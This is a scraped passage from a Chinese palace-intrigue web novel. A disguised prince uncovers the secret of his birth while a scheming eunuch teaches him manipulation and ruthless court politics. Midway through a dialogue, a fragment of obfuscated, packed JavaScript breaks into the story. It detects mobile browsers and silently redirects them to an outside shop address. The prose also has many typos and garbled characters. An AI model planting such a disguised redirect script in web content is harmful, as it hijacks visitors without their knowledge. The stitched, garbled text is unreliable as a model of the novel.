顺子接过奏折，看了一眼，大惊：“掌印，，这……这折子不是被您压下了吗？说边防军饷早已超支，不能再增。” “那是从前。”步青云淡淡道，“现在，我要他送到陆炳手里。记住要不小心让他知道，这份折子是太子的人递上来的。” 顺子倒吸一口凉气。陆炳掌京营兵权，最忌讳边将索饷。若让他以为是太子在拉拢边将，扩充势力…… “就会斗起来。”步青云接话，“陆炳是太后的人，太后与太子本就不睦。这把火一点，朝堂就该热闹了。” 顺子佩服的五体投地：“奴才这就去办。” “不急。”步青云叫住他，“还有一件事。你去找徐阁老的门生，那位江西按察使，告诉他，太子有意提拔他入京。” “太子根本没说过……” “太子没说过，但我们可以替他说。”步青云微笑，“记住，要说的模棱两可，似是而非。让那位按察使自己琢磨去。” 顺子明白了。这是要离间太子与徐阁老。徐阁老虽倾向太子，但若太子背着他拉拢他的门生，徐阁老会怎么想？心生芥蒂是必然的。 “还有，”步青云继续道，“找机会在太后面前提一句，说贵妃最近和几位武将家眷走得很近，似乎在为七皇子铺路。” 顺子记下，又问：“那十八皇子那边……” “他那边不用管。”步青云顿了顿，“不，还是要管。从明天开始，每日申时，准时接他来司礼监。让所有人都看见。” “是。” 顺子退下后，步青云独自坐在案前，看着窗外漫天飞雪。 这一局棋，她已经布好了子。太后、太子、贵妃、徐阁老、陆炳……所有人都在棋盘上，所有人都是棋子。 而魏祚，是她手里最重要的一颗棋。 “殿下，”她轻声自语，“可别让我失望啊。” 西偏殿里，魏祚也在看雪。 他面前摊着步青云给的那本册子，已经翻的卷了边。册子上的名字、关系、利害，他已经背的滚瓜烂熟。但背熟是一回事，真正理解，又是另一回事。 比如今日步青云教的，朝堂之上，没有对错，只有利弊。 他想起小时候，娘亲在他耳边唱，歌。歌里唱，做人要正，直要对得起良心。可如今，步青云告诉他，在宫里，良心是最不值钱的东西。 到底谁是对的？ “殿下，”孙嬷嬷推门进来，手里端着托盘，“用些点心吧，你晌午都没怎么吃东西。” 托盘上是两碟点心，一碟桂花糕，一碟枣泥糕。魏祚看了一眼，没什么胃口。 “嬷嬷，”他忽然问，“你说，一个人为了活下去是不是什么都能做？” 孙嬷嬷愣了愣：“殿下怎么问这个？” “随便问问。” 孙嬷嬷放下托盘，叹了口气：“殿下，老奴有句不当说的话。在这宫里，活着，比什么都重要。您娘当年……就是太要强，太讲良心，才……” 她没有说完，但魏祚懂了。 娘亲就是因为太讲良心，知道了不该知道的事，才落得那样的下场。 “嬷嬷，”他拿起一块枣泥酥，咬了一口，很甜，甜的发腻，“如果有一天，我也变得心狠手辣，不择手段，你会不会觉得……我很可怕？” 孙嬷嬷眼圈红了：“殿下，老奴不管您变成什么样，您都是老奴看着长大的孩子。老奴只希望您……好好活着。” 好好活着。 魏祚咀嚼着这四个字，心中涌起复杂的情绪。为了好好活着，他可能要去做很多违背本心的事，可能要变得自己都不认识自己。 值得吗？ 他不知道。 “殿下，”孙嬷嬷压低声音，“有件事，老奴一直没告诉您。” “什么事？” “你娘……出事前，见过一个人。” 魏祚猛地抬头：“谁？” “一个嬷嬷，姓王，在浣衣局当差。”孙嬷嬷声音发颤，“徐选侍落水前三天，王嬷嬷来找过她，两人关在屋里说了半个时辰的话。王嬷嬷走的时候，眼睛红肿，像是哭过。” “然后呢？” “然后……徐选侍就出事了。”孙嬷嬷抹泪，“老奴后来去浣衣局找过王嬷嬷，可她……她在那之后就病死了。” 又一条线索断了。 魏祚握紧拳头：“王嬷嬷有没有说过什么？或者，留下过什么东西？” 孙嬷嬷摇头：“没有。但老奴记得王嬷嬷走的时候，手里攥着个东西，用帕子包着，看不清是什么。” 帕子包着的东西…… 魏祚脑中灵光一闪：“嬷嬷，我娘有没有留下什么帕子？或者……绣品？” 孙嬷嬷想了想：“有。徐选侍绣工好，留下不少绣品。老奴都收在箱子里，等想着等您成亲时……” “拿来我看看。” 孙嬷嬷去了里屋，不多时捧出一个樟木箱子。箱子里整整齐齐叠着各色绣品，有帕子，有香囊，有枕套，绣的都是花鸟鱼虫，栩栩如生。 魏祚一件件翻看，手指抚过细密的针脚。娘亲的绣品，他小时候见过，那时候娘亲还会搂着他，教他认上面的花样。 “这是荷花，出淤泥而不染……” “这是翠鸟，要绣的活灵活现……” “这是鲤鱼，跃龙门，寓意好……” 记意如潮水般涌来，魏祚眼眶发热。他强忍着，继续翻找。 忽然，他的手停住了。 箱子最底下，压着一方素帕。帕子是普通的白绢，上面绣的也不是花鸟，而是一行小字： “云深处，月明时，旧时燕归来。” 字迹清秀，用的是深绿色的丝线。 “这是……”魏祚拿起帕子。 孙嬷嬷凑过来看：“这帕子老奴没见过。徐选侍的绣品，老奴都记得，没有这方帕子。” 没见过，却出现在箱子里。是谁放的？娘亲？还是那个王嬷嬷？ 魏祚仔细端详帕子。绢料普通，针法也普通，唯独那行小字，绣的极其用心，一心一线都透着情意。 云深处，月明时，旧时燕归来。 那是什么意思？暗号？约定还是……某种暗示。 “嬷嬷，”他问，“浣衣局有没有一个叫云深的地方，或者有没有谁的名字里有云字。” 孙嬷嬷摇头：“浣衣局就是几排平房，没什么特别的。至于名字……老奴不记得有叫‘云’的。” 线索又断了。 魏祚握着帕子，心中一片茫然。这方帕子，到底藏着什么秘密？和娘亲的死，有没有关系？ 窗外忽然传来脚步声，很轻，但在寂静的雪夜里格外清晰。 魏祚和孙嬷嬷对视一眼，迅速将帕子塞进袖中，合上箱子。 “十八殿下在吗？”门外传来太监尖细的嗓音。 孙嬷嬷去开门，门外站着个小太监，手里提着食盒：“奴才给殿下请安。贵妃娘娘赏得御膳房点心，请殿下尝尝。” 又是周贵妃。 魏祚起身：“替我谢贵妃娘娘。” 小太监放下食盒，却不走，眼睛在屋里瞟来瞟去：“殿下在读书？贵妃娘娘说了，殿下若缺什么书，尽管开口，贵妃娘娘那儿有的是。” “不必了，替我谢过贵妃娘娘好意。” 小太监这才退下。孙嬷嬷关上门，脸色发白：“殿下，贵妃这是……” “拉拢，也是试探。”魏祚打开食盒，里面是四样精致点心，比孙嬷嬷做的不知好多少倍，“她在看，我会不会接她的橄榄枝。” “那殿下接还是不接？” “接，但要怎么接，是个学问。”魏祚拿起一块点心，又放下，“明日你去长一趟长春宫，替我谢恩。就说我病体初愈，不便亲自前往，改日定方登门拜谢。” “这……” “按我说的做。”魏祚眼神坚定，“不卑不亢，不远不近。让她猜不透我在想什么。” 孙嬷嬷似懂非懂，但还是点头。 夜深了，魏祚却毫无睡意。他坐在灯下，反复看着那方帕子。 云深处，月明时，旧时雁归来。 这十一个字，到底是什么意思？ 忽然，他脑中灵光一闪。 云深……月明……燕归来…… 他想起诗经里的一句诗：“燕燕于飞，差池其羽。子之于归，远送于野。” 燕归来，是不是指游子归来？或者……故人归来？ 那“云深处，月明时”呢？是地点？还是时间？ 魏祚猛地站起身，走到窗边。窗外，一轮明月高悬，照着皑皑白雪，天地间一片澄明。 月明时……就是现在。 他推开窗，寒风灌进来，缺的烛火狂舞。他望着月亮，脑中飞速转动。 云深处……浣衣局……王嬷嬷……娘亲…… 忽然，他想起了什么。 小时候，娘亲曾带他去过一个地方。那是浣衣局后面的一处荒废小院，院里有一口枯井，井边种着棵老槐树。娘亲说，那是她刚入宫时住的地方，后来荒废了。 那地方很偏僻，少有人去。娘亲为什么带他去？是不是……那里藏着什么秘密？ 魏祚的心跳骤然加快。 他看了看天色，子时已过，宫里除了巡夜的侍卫，大多已睡下。现在去，会不会太冒险？ 但他等不及了。帕子出现在箱子里，一定是有人想告诉他什么。而这个人，很可能就是当年给娘亲送帕子的王嬷嬷。 或者王嬷嬷托付的人。 “殿下，您要去哪儿？”孙嬷嬷见他披上斗篷，惊问。 “出去一趟。”魏祚系好带子，“嬷嬷，若有人问起，就说我睡了。” “殿下，这大半夜的……” “放心，我去去就回。” 魏祚推门出去，身影很快消失在雪夜中。 孙嬷嬷站在门口，望着他远去的方向，双手合十，默默祈祷。 雪夜的皇宫格外寂静，也格外危险。 魏祚避开巡夜的侍卫，沿着宫墙的阴影处快步走着。他对皇宫的布局并不熟悉，但浣衣局在西北角，西偏殿在西南角，中间要穿过大半个后宫。 一路上，他心跳如擂鼓。若是被抓住，私自夜行是大罪，轻则杖责，重责……他不敢想。 但他必须去。那方帕子，那些字，像钩子一样勾着他的心。他要知道真相，要知道娘亲到底因何而死。 半个时辰后，他来到了浣衣局。 浣衣局内，一排排平房黑漆漆的，只有几间屋子还亮着灯。 那是值夜的宫女。 魏祚绕到后面，到了记忆中的那个小院。 院门虚掩着，推开时发出吱呀一声，在寂静的雪夜里格外刺耳。 魏祚屏住呼吸，等了一会儿，确定无人注意，才闪身进去。 小院比他记忆中更破败了。枯井被积雪覆盖，老树光秃秃的树枝伸向夜空，像鬼爪。愿你三间屋子，门窗都破了，风吹过时发出呜呜的响声。 云深处……这里算“云深处”吗？ 魏祚站在院中，四顾茫然。帕子上只给了地点和时间，却没说要找什 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魏祚用力掀开地砖，下面是一个小小的暗格。暗格里，放着一个油纸包。 他颤抖着手拿出油纸包，打开。 里面是一本薄薄的册子，还有一封信。 册子封面没有字，翻开，是一页页娟秀的小楷，记录着一些日常琐事。 某日某月，浣衣局发了新衣；某月某日被管事嬷嬷责罚；某月某日，见到一位贵人…… 是娘亲的日记。 魏祚一页页翻看，手抖得越来越厉害。日记从娘亲入宫开始，记录了她十六岁到十九岁的生活。平淡，琐碎，却透着少女的天真与憧憬。 直到翻到最后一页。 那一页只有一行字，墨迹很深，几乎划破纸张： “我看见了不该看见的。他们要杀我灭口。小祚，我的孩子，你要好好活着，不要报仇。” 日期是隆庆十五年三月初七。 娘亲落水的前一天。 魏祚眼泪夺眶而出，滴在纸上，晕开磨迹。他死死咬着嘴唇，不让自己哭出声。 许久，他擦干眼泪，打开那封信。 信是王嬷嬷写的，字迹歪歪扭扭，像是病中所书： “徐妹妹：你托我藏的东西，我藏好了，在院子中间那棵槐树下三尺处。若我出事，你记得来取。另外，小心周贵妃，她好像知道了什么。还有，你让我打听的那位云公子，我打听到了，他真名叫……后面的字被水浸湿了，看不清楚，只隐约能看到一个‘稹’字。” 信到这里就断了，后面的部分被水渍晕染，字迹模糊不清衣。 魏祚反复看着那几行字。 东西藏在槐树下三尺处，刚才只摸了树洞，没挖树下。 小心周贵妃，果然和周贵妃有关。 云深……云公子……稹 魏祚脑中灵光一闪。云深处，是不是指云公子的住处？或者，云是姓氏？ 稹……魏稹？ 他浑身一颤。魏稹，他的三哥，三皇子，三年前暴病身亡的那个！ 难道娘亲的死，和三皇子有关？那个云公子，就是三皇子魏稹。 可三皇子为什么要见娘亲一个浣衣局宫女？他们之间有什么秘密？周贵妃又为什么牵扯其中？ 魏祚感到自己陷入了一个巨大的谜团，每解开一个结，就发现更多的结。 他将日记和信重新包好，揣进怀里，然后走到槐树下。初夏积雪很厚，他没有工具，只能用手挖。 挖到三尺深时，指尖出到一个硬物。 是个铁盒子，不大，锈迹斑斑。魏祚费力的把它挖出来，打开。 盒子里只有两样东西，一块双鱼佩，还有一封血书。 血书很短，只有几行字： “隆庆十二年腊月，三皇子魏稹与浣衣局宫女徐氏私通，孕。十三年三月，徐氏产子，即十八皇子魏祚。周贵妃得知，欲除之而后快。徐氏为保子，委身皇上，封选侍。十五年三月，周贵妃查知真相，欲灭口。徐氏留书于此，若他日有人发现，望为我儿伸冤。” 落款是：徐氏绝笔。 魏祚瘫坐在雪地里，脑中一片空白。 他不是隆庆帝的儿子。 他是三皇子魏稹的儿子。 娘亲不是被临幸封为选侍，而是为了保他，被迫委身于皇上。 周贵妃要杀娘亲，不是因为争宠，而是因为娘亲知道了不该知道的秘密。 所有的线索，所有的疑点，在这一刻全部串联起来。 为什么娘亲死的不明不白。 为什么周贵妃对他格外关注。 为什么太后、太子、陆炳……所有人都盯着他？ 因为他不是皇子，他是皇孙。他的存在，本身就是个错误，是个随时可能引爆的秘密。 雪越下越大，落在魏祚身上，他却感觉不到冷。怀里那本日记、那封信、那块玉佩、那封血书，像火一样灼烧着他的胸膛。 原来如此。 原来如此。 他忽然想笑，又想哭。笑这命运的荒唐，笑这十六年的欺骗。 他不是皇子，他是孽种。他的出生就是个错误，他的存在就是个笑话。 那步青云呢？他知道吗。他选中他，是因为他的身份，还是因为……他也不知道。 魏祚不知道自己在雪地里坐了多久，直到四肢麻木，才跄踉的站起身。他将铁盒子重新埋好，抹去痕迹，然后跌跌撞撞的往回走。 回去的路比来时更难走。不是路难走，是心难走。 每一步，都像踩在刀尖上。 别报仇。 可他怎么能不报仇？ 娘亲是为了他才死的。为了保全他这个孽种，为委身于仇人，最后还被灭口。 还有三皇子……他的亲生父亲，又是怎么死的？真的是暴病吗？还是……也被灭口了？ 魏祚回到西偏殿时，天快亮了。孙嬷嬷等在门口，见他浑身是雪，脸色苍白，吓了一跳。 “殿下，您这是……” “我没事。”魏祚推开她，走进屋里，将门关上，“嬷嬷，我想一个人静一静。” 孙嬷嬷在门外站了许久，最终叹着气离开了。 屋内，魏祚坐在黑暗中，怀里的东西像烙铁一样烫。 他不知道该怎么办。 告诉步青云？可步青云知道了，会怎样对他？还会帮他吗？还是会把他当成更大的筹码？ 不告诉？自己守着这个秘密，又能守多久？ 窗外的天渐渐亮了，雪停了，但乌云未散，阴沉沉的压着宫墙。 魏祚望着窗外，眼中第一次有了狠戾的光。 不管怎样，他都要活下去。 不仅为了自己，也为了娘亲，为了那个所谓的亲生父亲。 还要查清真相，要让所有害过他们的人，付出代价。 哪怕这条路，要用鲜血铺就。 7. 第 7 章 天光大亮时，魏祚还坐在黑暗里。 怀中的东西冰冷沉重，像一块永不融化的冰，将寒意一丝丝渗进骨髓。他维持着同一个姿势坐了太久，四肢僵硬麻木，但意识却异常清醒。 清醒的能听见血液在血管里奔流的声音，能听见心脏每一次沉重撞击胸腔的回响。 他不是皇子。 这个念头像钝刀，一遍遍凌迟着他的认知。十六年来赖以生存的身份，十六年来唯一确定的真相，原来是个天大的谎言。 隆庆帝不是他的父亲。 那个高高在上、从未正眼看过他的男人，那个他本该称为父皇的人。 是杀母仇人的丈夫。 而他的亲生父亲，三皇子魏稹，早在三年前就暴病身亡。死的不明不白，像这宫里许许多多不该活着的人一样，悄无声息的消失。 “小祚，好好活着，别报仇。” 娘亲的遗言在耳边回响。可怎么能不报仇？娘亲为了他，委身于不爱的男人，最后还死得不明不白。 这血海深仇，如何能不报？ 窗外传来扫雪的声音，沙沙的，有节奏的，像顿刀磨过骨头。 “殿下，您醒了吗？”孙嬷嬷在门外轻声问。 “醒了。”魏祚应了一声，声音嘶哑的可怕。他清了清嗓子，“嬷嬷，打盆热水来。” 热水端进来时，孙嬷嬷看到他苍白的脸色，吓了一跳：“殿下，您这是……” “昨夜没睡好。”魏祚掬水洗脸，冰凉的水刺激着皮肤，让他清醒了些，“嬷嬷，今日不必准备早饭了，我不饿。” “不吃饭怎么行，您这身子……” “我说不饿。”魏祚抬起头，眼神是孙嬷嬷从未见过的冷硬。 孙嬷嬷噎住了，嘴唇动了动，最终什么也没说，默默退了出去。 魏祚对着铜镜整理衣冠。镜中的少年面容依旧清秀，但眉宇间有什么东西不一样了。是戾气，是恨意，是破釜沉舟的决绝。 他知道，从今天起，他再也不是那个怯诺畏缩的十八皇子了。 他是魏稹的儿子，是徐宫女的儿子，是这深宫里最大的秘密。 辰时末，顺子来了。 “殿下，掌印请您过去。”顺子垂手立在门外，语气恭敬，眼神却若有若无地扫过屋内。 魏祚心中一凛。是例行公事，还是……步青云察觉了什么？ “知道了。”他压下心绪，起身出门。 去司礼监的路上，两人一前一后谁也没说话。雪后的宫道很滑，魏祚走得很稳，每一步都像丈量过。他在想，如果步青云问起，他该怎么回答。 实话实说？风险太大。隐瞒？又能瞒多久？ 直到走进司礼监二堂，他也没想出答案。 步青云依旧坐在紫檀木大案后，今日换了身墨绿常服，正低头写着什么。听到脚步声，她抬起头，目光在魏祚脸上停留了一瞬。 “殿下今日气色不太好。”她淡淡开口。 “昨夜没睡好。”魏祚垂下眼。 “哦？”步青云放下笔，“可是有什么心事？” 来了。魏祚手心渗出冷汗，面上却不动声色：“没有，只是做了个噩梦。” “什么噩梦？” “梦见……我娘。”魏祚抬眼，对上步青云审视的目光，“梦见她落水，我在岸上看着，却救不了她。” 这话半真半假，反而更让人信服。步青云看了他片刻，忽然道：“殿下想为徐选侍报仇吗？” 魏祚心头狂跳，强作镇定：“人都死了，报仇有什么用？” “有用。”步青云站起身，缓步走到窗边，“报仇不是为了死人，是为了活人。是为了告诉那些害人的人，血债，终须血偿。” 他的声音很轻，却像重锤敲在魏祚心上。他想起步青云说过的话，他家一百三十七口，一夜之间全部被杀。他活下来，就是为了报仇。 “公公的仇……报了吗？”他试探着问。 “还没有。”步青云转身，背光而立，面容隐在阴影里，“但快了。只要殿下配合，很快就能报了。” 魏祚沉默。步青云的仇人是谁？是隆庆帝？是太后？还是朝中某个权贵？他不敢问，也不能问。 “今日的功课是什么？”他转移话题。 步青云走回案前，从一堆奏折中抽出一本：“这是兵部呈报的北境军情。鞑靼犯边连破三城，守将战死。兵部请调京营三万兵马北上增援，陆炳请战。” 魏祚接过奏折，快速浏览。折子上说，北境战事吃紧，鞑靼骑兵来去如风，边军疲于应对。兵部尚书提议从京营调兵，而陆炳作为锦衣卫指挥使，主动请缨。 “路指挥使要去北境？”他皱眉。 “他想去，但有人不想让他去。”步青云道，“太子递了折子，说京营拱卫京师，不以轻动。建议从河南、山东调兵。” “那太后……” “太后还没表态。”步青云指了指另一本奏折，“但太后让内务府给陆炳府上送了一车药材，说是给他备着，北境苦寒，需好生保养。” 魏祚听懂了。太后这是在暗示陆炳，他她支持他去，但也要他保重。而太子反对，是不想让陆炳掌兵权立功。 “公公觉得，该让谁去？”他问。 步青云不答反问：“殿下觉得呢？” 魏祚仔细想了想，道：“从京营调兵，最快，但风险最大。若京营空虚，京师不稳。从地方调兵，稳妥，代耗时。等兵到了，北境可能已经丢了。” “那怎么办？” “能不能……折中？”魏祚试探道，“从京营调一万，再从河南、山东各调一万。陆炳为帅，但副帅用太子的人。如此，既解了北境之危，又互相牵制。” 步青云眼中闪过一丝诧异：“殿下这法子，倒是周全。但有一处不妥。” “何处？” “陆炳和太子的人，在战场上能同心协力吗？”步青云冷笑，“恐怕仗还没打，自己人先打起来了。” 魏祚语塞。这倒是，陆炳和太子势同水火，让他们合作，无异于与虎谋皮。 “那……” “其实很简单。”步青云提笔，在奏折上批了几个字，“不准。” 魏祚愣住：“不准？” “对，不准。”步青云放下笔，“北境战事，让他们自己解决。守将是吃干饭的吗？边军是纸糊的吗？年年要钱要粮，真打起来，却要朝廷调兵。这折子打回去，让他们拿出真本事来。” “可若真的失守……” “失守了再说。”步青云淡淡道，“殿下要记住，有时候败一仗，比胜一仗更有用。” 魏祚不解。 “北境若真失守，谁最着急？”步青云问。 “边军，百姓，还是……朝廷？” “是，但不全是。”步青云点拨，“最着急的，是那些在北境有田庄、有生意、有关系的朝臣。比如徐阁老，他家的商队年年往北境贩茶。比如周贵妃的娘家，在北境有马场。比如太后的侄孙，在北境当知府。” 魏祚恍然：“所以，败一仗，这些人就会着急，就会催促朝廷出兵。那时候，派谁去，怎么去，就是我们说了算。” “不错。”步青云颔首，“现在出兵，是陆炳和太子争。等败了再出兵，就是他们求我们。这其中的差别，殿下可明白？” 魏祚明白了。 这就是权力。 让别人求着你，而不是你求着别人。 “可百姓……”他迟疑道。 “百姓？”步青云笑了，笑容里带着说不清的凉薄，“殿下，你要记住，成大事者，不拘小节。死几个百姓，丢几座城，算什么？只要最后能赢，这些代价，都值得。” 这话说的冷酷，但魏祚知道，他说的是现实。这宫里宫外，谁不是踩着尸骨往上爬？ “受教了。”他低声道。 步青云看了他一眼，忽然道：“殿下今日，似乎格外沉默。” 魏祚心头一紧，面上强作镇定：“只是……有些不适应。” “不适应什么？” “不适应……”魏祚斟酌着用词，“不适应……这些算计。” 步青云盯着他看了，许久忽然笑了：“殿下，这还只是开始。以后的路，比这难走的多，也比这脏的多。你若现在就想退，还来得及。” “我不会退。”魏祚抬起头，眼神坚定，“请公公继续教我。” 步青云眼中闪过一丝满意：“好。那今日的第二课，我教殿下。 如何杀人不见血。” 魏祚浑身一颤。 步青云从案头拿起另一本奏折：“这是督察院左督御史的折子，弹劾户部右侍郎贪赃。证据确凿，按律当斩。但这位右侍郎，是徐阁老的女婿。” 魏祚接过奏折，上面罗列着一条条罪状：“贪污赈灾银两，强占民田，收受贿赂，每一条都够杀头。” “公公要保他？” “不，我要他死。”步青云淡淡道，“但不要现在死，要等它最有价值的时候死。” “什么时候？” “等徐阁老和太子彻底绑在一起的时候。”步青云眼中寒光一闪，“到那时，杀了他，就等于断了徐阁老一条臂膀，也等于打了太子一记耳光。” 魏祚倒吸一口凉气。这不是杀人，这是诛心。杀了徐阁老的女婿，徐阁老会怎么想？太子会怎么想？朝中那些观望的人会怎么想？ “可证据……” “证据先压着。”步青云将奏折锁进抽屉，“等时机到了，自然会有人递上来。到时候，我们迫于压力，秉公处理，谁也说不出什么。” 好一个迫于压力，好一个秉公处理。魏祚看着步青云平静的面容，忽然感到一股寒意。这个人，心思之深，手段之狠，远超他的想象。 和他合作，无异于与虎谋皮。 但除了他，他还能靠谁？ “殿下怕了？”步青云问。 魏祚摇头：“没有。只是……觉得公公很厉害。” “厉害？”步青云笑了，笑容里带着苦涩，“殿下，这宫里，不厉害的人早就死了。我能活到今天，不是因为我厉害，是因为我比别人更狠，更绝，更不择手段。” 他顿了顿，声音转低：“殿下若想活下去，也得学会这些。心要狠，手要稳，该杀是绝不手软，该忍时绝不冒头。这些话。殿下要刻在心里。” 魏祚重重点头。 接下来的一个时辰，步青云又教了他许多。如何安插眼线，如何传递消息，如何挑拨离间，如何借刀杀人。每一样，都阴暗，都狠毒，都……实用。 魏祚认真听着，认真记得。他知道，这些东西，将来都可能救他的命。 申时末，功课结束。魏祚起身告辞，走到门口时，步青云忽然叫住他。 “殿下。” “公公还有何吩咐？” 步青云看着他，许久，才道：“这宫里，秘密很多。有些秘密，知道了未必是好事。殿下……要好自为之。” 魏祚心头狂跳，强作镇定：“我不明白公公的意思。” “不明白最好。”步青云转身，望向窗外，“去吧。记住，今日所学，不可对任何人提起。” “是。” 走出司礼监，魏祚才发现，自己后背已经湿透。步青云最后那句话，是警告，还是试探？他知道什么？知道多少？ 他不敢想，也不能想。 现在最重要的是，藏好秘密，然后……等待时机。 回西偏殿的路上，魏祚遇到了一个人。 是七皇子魏禄。 他带着几个太监，正在御花园里打雪仗，见到魏祚，眼睛一亮：“十八弟！” 魏祚停下脚步，垂首行礼。 “你这是从哪儿来？”魏禄走过来，上下打量他，“脸色这么差，又病了？” “没有，刚从寺礼监回来。” “又去步公公那儿了？”魏禄挑眉，“十八弟和步公公走的可真近。不知道的，还以为步公公是你什么人呢？” 这话说的阴阳怪气，旁边的太监都低下头，不敢吭声。 魏祚握紧袖中的手，面上却露出怯懦的笑：“七哥说笑了。步公公是奉太后之命教导我，我岂敢不从？” “太后？”魏禄嗤笑，“太后倒是好心。不过十八弟，哥哥得提醒你一句，这宫里，不是什么人的大腿都能抱的。抱错了可是要摔死的。” “多谢七哥提醒。”魏祚低头。 魏禄盯着他看了片刻，忽然凑近，压低声音：“十八弟，你知道我娘为什么讨厌你娘吗？” 魏祚浑身一僵。 “因为你娘……不守妇道。”魏禄我声音像毒蛇，钻进耳朵里，“一个浣衣局宫女，勾引皇子，而怀了野种。要不是父皇仁慈，你们母子早死了。” 野种。 这两个字像针一样扎进心里。魏祚死死咬着牙，才没让自己失态。 “七哥……”他声音发颤，“这种话可不能乱说。” “我乱说？”魏禄笑了，笑容恶毒，“你去问问浣衣局的老人，谁不知道？你娘当年，可是和三皇子……” “七哥！”魏禄猛的抬头，眼中血丝密布。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082483|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 魏禄他吓了一跳，随即恼羞成怒：“怎么？我说错了？你娘就是个贱人，你……” “七皇子。”一个声音打断了他。 众人回头，只见步青云不知何时站在不远处，面色平静，眼神却冷的像冰。 魏禄脸色一变，却很快恢复如常：“步公公，好巧。” “不巧，奴才特意来找十八殿下。”步青云走过来，看了魏祚一眼，又看向魏禄，“七皇子刚才说什么？奴才没听清？可否再说一遍？” 魏禄张了张张嘴，没敢说。步青云的眼神太可怕，像是要把他生吞活剥。 “没、没什么。”他讪讪道，“我和十八弟开玩笑呢。” “开玩笑？”步青云挑眉，“那这玩笑可开的有些过了。皇家子嗣，岂容诋毁？这话说传到皇上耳朵里，怕是不好听。” 魏禄脸色发白。隆庆帝虽然昏聩，但最终颜面。若知道他在背后议论皇家丑闻，定不会轻饶。 “是、是我食言了。”他咬牙道，“十八弟，对不住。” 魏祚垂着眼，没说话。 “既然七皇子知错了，那便罢了。”步青云淡淡道，“只是下次，还请七皇子慎言。这宫里，隔墙有耳。” 魏禄狠狠瞪了魏祚一眼，带着人走了。 等他们走远，步青云才看向魏祚：“殿下没事吧？” “没事。”魏祚声音干涩，“多谢公公解围。” 步青云盯着他看了片刻，忽然道：“七皇子说的话。殿下不必放在心上。这宫里，疯狗多的是，见人就咬。” 魏祚苦笑。疯狗？也许吧。但疯狗的话，往往最真。 “公公找我，有事？”他转移话题。 “没什么大事。”步青云从袖中取出一个小瓷瓶，“这是上好的伤药，殿下拿着。若有人欺负你，不必忍着。打回去，打出事来，有我担着。” 魏祚愣住了。他看着步青云，看着这个权倾朝野、心狠手辣的掌印太监，心中涌起复杂的情绪。 是真心，还是假意？ 他不知道。 让他接过了瓷瓶，：“谢公公。” “去吧。”步青云转身离开，走了几步，又停下，“殿下，记住我说的话。心要狠，手要稳。该杀时绝不手软。” 魏祚看着他远去的背影，握紧了手中的瓷瓶。 心要狠，手要稳。 他会的。 回到西偏殿，魏祚关上门。 烛光下，玉佩泛着温润的光泽。 魏祚抚摸着双鱼，心中五味杂陈。 三皇子魏稹，他的亲生父亲。是个怎样的人？为什么和娘在一起？又为什么……死了？ 他翻开娘亲的日记，一页页仔细看。这次，他看的更仔细，不放过任何一个细节。 日记里，娘亲很少提三皇子，偶尔提到，也只是那位贵人，但字里行间能看出情意。 “今日他又来了，带了一包桂花糖。他说，我笑起来好看。” “他说要娶我，可我是宫女，他是皇子，怎么可能？” “我有了。他不知道。我不敢说。” “他知道了，很高兴，说要向皇上请旨。可是……贵妃知道了。” “贵妃威胁我，若敢说出去，就杀了我，杀了孩子，我害怕。” “皇上临幸了我。他说，只有这样，才能保住孩子。我哭了，但他抱着我，说会对我好。” “孩子生了，是个男孩。皇上很高兴，封我为选侍。可我不高兴。我想他。” 看到这里，魏祚的眼泪掉了下来。 娘亲不爱隆庆帝，他爱的是三皇子。可是为了保住他，他委身于不爱的男人，还假装高兴。 那些年里，娘亲是怎么过的？日日夜夜，面对不爱的男人，还要强颜欢笑。最后，还因为知道的太多，被灭口。 “周贵妃……”魏祚咬着牙，眼中迸出恨意。 是她，一定是她。娘亲的日记里，多次提到贵妃威胁、贵妃知道。那个贵妃，就是周贵妃。 她为什么要这样做？是因为嫉妒娘亲得到了皇帝的爱？还是因为……别的。 魏祚继续往下看。日记到后面，字迹越来越潦草，像是写的匆忙。 “他死了。暴病。我不信。他身体那么好，怎么会暴病？” “我去找他，被拦住了。他们说三皇子得的是瘟疫，尸体已经烧了。” “我不信，我要查。可王嬷嬷说，别查，会没命的。” “我好像知道了什么。那天在御花园，我看见……我不敢写，写出来，会没命。” “他们把小祚带走了，说要给皇上看。我害怕，他们会不会对小祚下手。” “我要把真相写下来，藏起来。如果有一天我死了，希望有人能看到，为我和他报仇。” 日记到此为止。最后一页，就是那句“我看见了不该看见的。他们要杀我灭口。” 魏祚合上日记，闭上眼。脑海中，拼凑出一个模糊的真相。 三皇子和娘亲相爱，娘亲怀孕。周贵妃知道后，威胁娘亲。娘亲为保孩子，委身隆庆帝。三皇子暴病身亡，娘亲怀疑，案中调查，发现了什么。然后，娘亲被灭口。 可周贵妃为什么这么恨三皇子？恨到要杀了他，还要杀娘亲。 魏祚想起朝中的局势。三皇子生前，很得隆庆帝喜爱，甚至一度有传言，隆隆庆想废太子，改立三皇子。是太子的生母元后早逝，三皇子的生母只是嫔，才作罢。 所以，是三皇子威胁到了太子的地位。可周贵妃是七皇子生母，和太子是对头，为什么要帮太子除掉三皇子？ 除非……三皇子威胁到的，不止太子一人。 魏祚脑中灵光一闪。是了，三皇子若登基，周贵妃和七皇子就永无出头之日。所以周贵妃要除掉三皇子，为七皇子铺路。 可除掉三皇子，最大的受益者是太子。周贵妃会这么好心，为他人做嫁衣？ 除非……她以为，除掉三皇子后，她有能力扳倒太子，扶七皇子上位。 可现在看来，她显然高估了自己。太子依旧稳坐东宫，七皇子依旧只是个皇子。 那三皇子，到底是怎么死的？真的是暴病，还是……被人害死？ 害死他的人，是周贵妃？还是太子？或者……两者都有。 魏祚感觉自己陷入了一个巨大的谜团。每解开一个结，就发现更多的结。 但有一点是确定的。 他的亲生父母，都死的不明不白。而凶手，很可能还在逍遥法外。 他要查清楚。不管付出什么代价，他都要查清楚。 8. 第 8 章 腊月二十，太后李氏在慈宁宫设宴，之请了两个人，步青云和陆炳。 消息传到司礼监时，步青云正在批红。她笔尖顿了顿，一滴朱砂落在奏折上，迅速洇开，像一滴血。 